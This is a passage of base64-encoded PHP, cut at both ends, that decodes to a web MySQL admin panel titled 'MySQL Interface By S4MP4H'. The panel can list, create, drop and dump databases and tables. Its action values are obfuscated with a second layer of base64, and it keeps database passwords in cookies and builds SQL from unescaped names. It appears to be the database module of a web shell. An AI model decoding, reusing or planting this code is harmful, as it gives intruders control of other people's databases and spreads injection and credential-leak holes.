bWluX3VzZXJuYW1lIiApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIgKTsNCglzZXRjb29raWUoICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiICk7DQoJZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgaGVpZ2h0PTEwMCU+PHRyPjx0ZD48Y2VudGVyPlxuIjsNCgllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9Mj48dHI+PHRkPjxjZW50ZXI+XG4iOw0KCWVjaG8gIjx0YWJsZSBjZWxscGFkZGluZz0yMD48dHI+PHRkPjxjZW50ZXI+XG4iOw0KCWVjaG8gIjxoMT5NeVNRTCBJbnRlcmZhY2UgQnkgUzRNUDRIPC9oMT5cbiI7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9Ykc5bmIyNWZjM1ZpYldsMD5cbiI7DQoJZWNobyAiPHRhYmxlIGNlbGxwYWRkaW5nPTUgY2VsbHNwYWNpbmc9MT5cbiI7DQoJZWNobyAiPHRyPjx0ZCBjbGFzcz1cIm5ld1wiPkhvc3RuYW1lIDwvdGQ+PHRkPiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9aG9zdG5hbWUgdmFsdWU9J2xvY2FsaG9zdCc+PC90ZD48L3RyPlxuIjsNCgllY2hvICI8dHI+PHRkIGNsYXNzPVwibmV3XCI+VXNlcm5hbWUgPC90ZD48dGQ+IDxpbnB1dCB0eXBlPXRleHQgbmFtZT11c2VybmFtZT48L3RkPjwvdHI+XG4iOw0KCWVjaG8gIjx0cj48dGQgY2xhc3M9XCJuZXdcIj5QYXNzd29yZCA8L3RkPjx0ZD4gPGlucHV0IHR5cGU9cGFzc3dvcmQgbmFtZT1wYXNzd29yZD48L3RkPjwvdHI+XG4iOw0KCWVjaG8gIjwvdGFibGU+PHA+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRW50ZXInPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1yZXNldCB2YWx1ZT0nQ2xlYXInPjxicj5cbiI7DQoJZWNobyAiPC9mb3JtPlxuIjsNCgllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7DQoJZWNobyAiPC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+XG4iOw0KCWVjaG8gIjxwPjxociB3aWR0aD0zMDA+XG4iOw0KCWVjaG8gIjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gbG9nb25fc3VibWl0KCkgew0KCWdsb2JhbCAkdXNlcm5hbWUsICRwYXNzd29yZCwgJGhvc3RuYW1lICwkUEhQX1NFTEY7DQoJaWYoJGhvc3RuYW1lID09JycpDQoJCSRob3N0bmFtZSA9ICdsb2NhbGhvc3QnOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl91c2VybmFtZSIsICR1c2VybmFtZSApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIsICRwYXNzd29yZCApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIsICRob3N0bmFtZSApOw0KCWVjaG8gIjxNRVRBIEhUVFAtRVFVSVY9UmVmcmVzaCBDT05URU5UPScwOyBVUkw9JFBIUF9TRUxGP2FjdGlvbj1iR2x6ZEVSQ2N3PT0nPiI7DQp9DQoNCmZ1bmN0aW9uIGVjaG9RdWVyeVJlc3VsdCgpIHsNCglnbG9iYWwgJHF1ZXJ5U3RyLCAkZXJyTXNnOw0KCWlmKCAkZXJyTXNnID09ICIiICkgJGVyck1zZyA9ICJTdWNjZXNzIjsNCglpZiggJHF1ZXJ5U3RyICE9ICIiICkgew0KCQllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9NT5cbiI7DQoJCWVjaG8gIjx0cj48dGQ+UXVlcnk8L3RkPjx0ZD4kcXVlcnlTdHI8L3RkPjwvdHI+XG4iOw0KCQllY2hvICI8dHI+PHRkPlJlc3VsdDwvdGQ+PHRkPiRlcnJNc2c8L3RkPjwvdHI+XG4iOw0KCQllY2hvICI8L3RhYmxlPjxwPlxuIjsNCgl9DQp9DQoNCmZ1bmN0aW9uIGxpc3REYXRhYmFzZXMoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJFBIUF9TRUxGOw0KCWVjaG8gIjxoMT5EYXRhYmFzZXMgTGlzdDwvaDE+XG4iOw0KCWVjaG8gIjxmb3JtIGFjdGlvbj0nJFBIUF9TRUxGJz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWNyZWF0ZURCPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NyZWF0ZSBEYXRhYmFzZSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQoJZWNobyAiPGhyPlxuIjsNCgllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz01PlxuIjsNCgkkcERCID0gbXlzcWxfbGlzdF9kYnMoICRteXNxbEhhbmRsZSApOw0KCSRudW0gPSBteXNxbF9udW1fcm93cyggJHBEQiApOw0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRkYm5hbWUgPSBteXNxbF9kYm5hbWUoICRwREIsICRpICk7DQoJCWVjaG8gIjx0cj5cbiI7DQoJCWVjaG8gIjx0ZD4kZGJuYW1lPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWxpc3RUYWJsZXMmZGJuYW1lPSRkYm5hbWUnPlRhYmxlczwvYT48L3RkPlxuIjsNCgkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHJvcERCJmRibmFtZT0kZGJuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0Ryb3AgRGF0YWJhc2UgXCckZGJuYW1lXCc/JylcIj5Ecm9wPC9hPjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kdW1wREImZGJuYW1lPSRkYm5hbWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRHVtcCBEYXRhYmFzZSBcJyRkYm5hbWVcJz8nKVwiPkR1bXA8L2E+PC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gY3JlYXRlRGF0YWJhc2UoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9TRUxGOw0KCW15c3FsX2NyZWF0ZV9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJbGlzdERhdGFiYXNlcygpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wRGF0YWJhc2UoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9TRUxGOw0KCW15c3FsX2Ryb3BfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCWxpc3REYXRhYmFzZXMoKTsNCn0NCg0KZnVuY3Rpb24gbGlzdFRhYmxlcygpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkUEhQX1NFTEY7DQoJZWNobyAiPGgxPlRhYmxlcyBMaXN0PC9oMT5cbiI7DQoJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZTwvcD5cbiI7DQoJZWNob1F1ZXJ5UmVzdWx0KCk7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9Y3JlYXRlVGFibGU+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9dGFibGVuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NyZWF0ZSBUYWJsZSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9cXVlcnk+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IHNpemU9MTIwIG5hbWU9cXVlcnlTdHI+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nUXVlcnknPlxuIjsNCgllY2hvICI8L2Zvcm0+XG4iOw0KCWVjaG8gIjxocj5cbiI7DQoJJHBUYWJsZSA9IG15c3FsX2xpc3RfdGFibGVzKCAkZGJuYW1lICk7DQoJaWYoICRwVGFibGUgPT0gMCApIHsNCgkJJG1zZyAgPSBteXNxbF9lcnJvcigpOw0KCQllY2hvICI8aDM+RXJyb3IgOiAkbXNnPC9oMz48cD5cbiI7DQoJCXJldHVybjsNCgl9DQoJJG51bSA9IG15c3FsX251bV9yb3dzKCAkcFRhYmxlICk7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsNCgkJJHRhYmxlbmFtZSA9IG15c3FsX3RhYmxlbmFtZSggJHBUYWJsZSwgJGkgKTsNCgkJZWNobyAiPHRyPlxuIjsNCgkJZWNobyAiPHRkPlxuIjsNCgkJZWNobyAiJHRhYmxlbmFtZVxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+U2NoZW1hPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5EYXRhPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHJvcFRhYmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0Ryb3AgVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5Ecm9wPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHVtcFRhYmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0R1bXAgVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5EdW1wPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPiI7DQp9DQoNCmZ1bmN0aW9uIGNyZWF0ZVRhYmxlKCkgew0KDQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkNSRUFURSBUQUJMRSAkdGFibGVuYW1lICggbm8gSU5UICkiOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJbXlzcWxfcXVlcnkoICRxdWVyeVN0ciwgJG15c3FsSGFuZGxlICk7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJbGlzdFRhYmxlcygpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wVGFibGUoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkRST1AgVEFCTEUgJHRhYmxlbmFtZSI7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyLCAkbXlzcWxIYW5kbGUgKTsNCgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsNCglsaXN0VGFibGVzKCk7DQp9DQoNCmZ1bmN0aW9uIHZpZXdTY2hlbWEoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJZWNobyAiPGgxPlRhYmxlIFNjaGVtYTwvaDE+XG4iOw0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvUXVlcnlSZXN1bHQoKTsNCgllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWFkZEZpZWxkJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5BZGQgRmllbGQ8L2E+IHwgXG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5WaWV3IERhdGE8L2E+XG4iOw0KCWVjaG8gIjxocj5cbiI7DQoJJHBSZXN1bHQgPSBteXNxbF9kYl9xdWVyeSggJGRibmFtZSwgIlNIT1cgZmllbGRzIEZST00gJHRhYmxlbmFtZSIgKTsNCgkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7DQoJZWNobyAiPHRyPlxuIjsNCgllY2hvICI8dGg+RmllbGQ8L3RoPlxuIjsNCgllY2hvICI8dGg+VHlwZTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5OdWxsPC90aD5cbiI7DQoJZWNobyAiPHRoPktleTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5EZWZhdWx0PC90aD5cbiI7DQoJZWNobyAiPHRoPkV4dHJhPC90aD5cbiI7DQoJZWNobyAiPHRoIGNvbHNwYW49Mj5BY3Rpb248L3RoPlxuIjsNCgllY2hvICI8L3RyPlxuIjsNCg0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2FycmF5KCAkcFJlc3VsdCApOw0KCQllY2hvICI8dHI+XG4iOw0KCQllY2hvICI8dGQ+Ii4kZmllbGRbIkZpZWxkIl0uIjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+Ii4kZmllbGRbIlR5cGUiXS4iPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiTnVsbCJdLiI8L3RkPlxuIjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJLZXkiXS4iPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiRGVmYXVsdCJdLiI8L3RkPlxuIjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJFeHRyYSJdLiI8L3RkPlxuIjsNCgkJJGZpZWxkbmFtZSA9ICRmaWVsZFsiRmllbGQiXTsNCgkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZWRpdEZpZWxkJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJmZpZWxkbmFtZT0kZmllbGRuYW1lJz5FZGl0PC9hPjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kcm9wRmllbGQmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmZmllbGRuYW1lPSRmaWVsZG5hbWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRHJvcCBGaWVsZCBcJyRmaWVsZG5hbWVcJz8nKVwiPkRyb3A8L2E+PC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gbWFuYWdlRmllbGQoICRjbWQgKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGgxPkFkZCBGaWVsZDwvaDE+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQllY2hvICI8aDE+RWRpdCBGaWVsZDwvaDE+XG4iOw0KCQkkcFJlc3VsdCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1lLCAiU0hPVyBmaWVsZHMgRlJPTSAkdGFibGVuYW1lIiApOw0KCQkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7DQoJCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCQkkZmllbGQgPSBteXNxbF9mZXRjaF9hcnJheSggJHBSZXN1bHQgKTsNCgkJCWlmKCAkZmllbGRbIkZpZWxkIl0gPT0gJGZpZWxkbmFtZSApIHsNCgkJCQkkZmllbGR0eXBlID0gJGZpZWxkWyJUeXBlIl07DQoJCQkJJGZpZWxka2V5ID0gJGZpZWxkWyJLZXkiXTsNCgkJCQkkZmllbGRleHRyYSA9ICRmaWVsZFsiRXh0cmEiXTsNCgkJCQkkZmllbGRudWxsID0gJGZpZWxkWyJOdWxsIl07DQoJCQkJJGZpZWxkZGVmYXVsdCA9ICRmaWVsZFsiRGVmYXVsdCJdOw0KCQkJCWJyZWFrOw0KCQkJfQ0KCQl9DQoNCgkJJHR5cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7DQoJCWlmKCBzdHJwb3MoICRmaWVsZHR5cGUsICIoIiApICkgew0KCQkJaWYoICR0eXBlID09ICJlbnVtIiB8ICR0eXBlID09ICJzZXQiICkgew0KCQkJCSR2YWx1ZWxpc3QgPSBzdHJ0b2soICIgKClcbiIgKTsNCgkJCX0gZWxzZSB7DQoJCQkJJE0gPSBzdHJ0b2soICIgKCwpXG4iICk7DQoJCQkJaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgIiwiICkgKQ0KCQkJCQkkRCA9IHN0cnRvayggIiAoLClcbiIgKTsNCgkJCX0NCgkJfQ0KCX0NCg0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvICI8Zm9ybSBhY3Rpb249JFBIUF9TRUxGPlxuIjsNCglpZiggJGNtZCA9PSAiYWRkIiApDQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1hZGRGaWVsZF9zdWJtaXQ+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9ZWRpdEZpZWxkX3N1Ym1pdD5cbiI7DQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPW9sZF9uYW1lIHZhbHVlPSRmaWVsZG5hbWU+XG4iOw0KCX0NCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kYm5hbWUgdmFsdWU9JGRibmFtZT5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9dGFibGVuYW1lIHZhbHVlPSR0YWJsZW5hbWU+XG4iOw0KCWVjaG8gIjxoMz5OYW1lPC9oMz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBuYW1lPW5hbWUgdmFsdWU9JGZpZWxkbmFtZT48cD5cbiI7DQoJZWNobyAnDQoNCjxoMz5UeXBlPC9oMz4NCjxmb250IHNpemU9MiBjbGFzcz0ibmV3Ij4NCiogYE1cJyBpbmRpY2F0ZXMgdGhlIG1heGltdW0gZGlzcGxheSBzaXplLjxicj4NCiogYERcJyBhcHBsaWVzIHRvIGZsb2F0aW5nLXBvaW50IHR5cGVzIGFuZCBpbmRpY2F0ZXMgdGhlIG51bWJlciBvZiBkaWdpdHMgZm9sbG93aW5nIHRoZSBkZWNpbWFsIHBvaW50Ljxicj4NCjwvZm9udD4NCjx0YWJsZT4NCjx0cj4NCjx0aD5UeXBlPC90aD48dGg+Jm5ic3BNJm5ic3A8L3RoPjx0aD4mbmJzcEQmbmJzcDwvdGg+PHRoPnVuc2lnbmVkPC90aD48dGg+emVyb2ZpbGw8L3RoPjx0aD5iaW5hcnk8L3RoPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTllJTlQiICc7IGlmKCAkdHlwZSA9PSAidGlueWludCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElOWUlOVCAoLTEyOCB+IDEyNyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iU01BTExJTlQiICc7IGlmKCAkdHlwZSA9PSAic21hbGxpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlNNQUxMSU5UICgtMzI3NjggfiAzMjc2Nyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iTUVESVVNSU5UIiAnOyBpZiggJHR5cGUgPT0gIm1lZGl1bWludCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TUVESVVNSU5UICgtODM4ODYwOCB+IDgzODg2MDcpPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IklOVCIgJzsgaWYoICR0eXBlID09ICJpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPklOVCAoLTIxNDc0ODM2NDggfiAyMTQ3NDgzNjQ3KTwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJCSUdJTlQiICc7IGlmKCAkdHlwZSA9PSAiYmlnaW50IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5CSUdJTlQgKC05MjIzMzcyMDM2ODU0Nzc1ODA4IH4gOTIyMzM3MjAzNjg1NDc3NTgwNyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iRkxPQVQiICc7IGlmKCAkdHlwZSA9PSAiZmxvYXQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkZMT0FUPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkRPVUJMRSIgJzsgaWYoICR0eXBlID09ICJkb3VibGUiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRPVUJMRTwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJERUNJTUFMIiAnOyBpZiggJHR5cGUgPT0gImRlY2ltYWwiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRFQ0lNQUwoTlVNRVJJQyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iREFURSIgJzsgaWYoICR0eXBlID09ICJkYXRlIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5EQVRFICgxMDAwLTAxLTAxIH4gOTk5OS0xMi0zMSwgWVlZWS1NTS1ERCk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iREFURVRJTUUiICc7IGlmKCAkdHlwZSA9PSAiZGF0ZXRpbWUiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRBVEVUSU1FICgxMDAwLTAxLTAxIDAwOjAwOjAwIH4gOTk5OS0xMi0zMSAyMzo1OTo1OSwgWVlZWS1NTS1ERCBISDpNTTpTUyk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iVElNRVNUQU1QIiAnOyBpZiggJHR5cGUgPT0gInRpbWVzdGFtcCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElNRVNUQU1QICgxOTcwLTAxLTAxIDAwOjAwOjAwIH4gMjEwNi4uLiwgWVlZWU1NRERbSEhbTU1bU1NdXV0pPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmF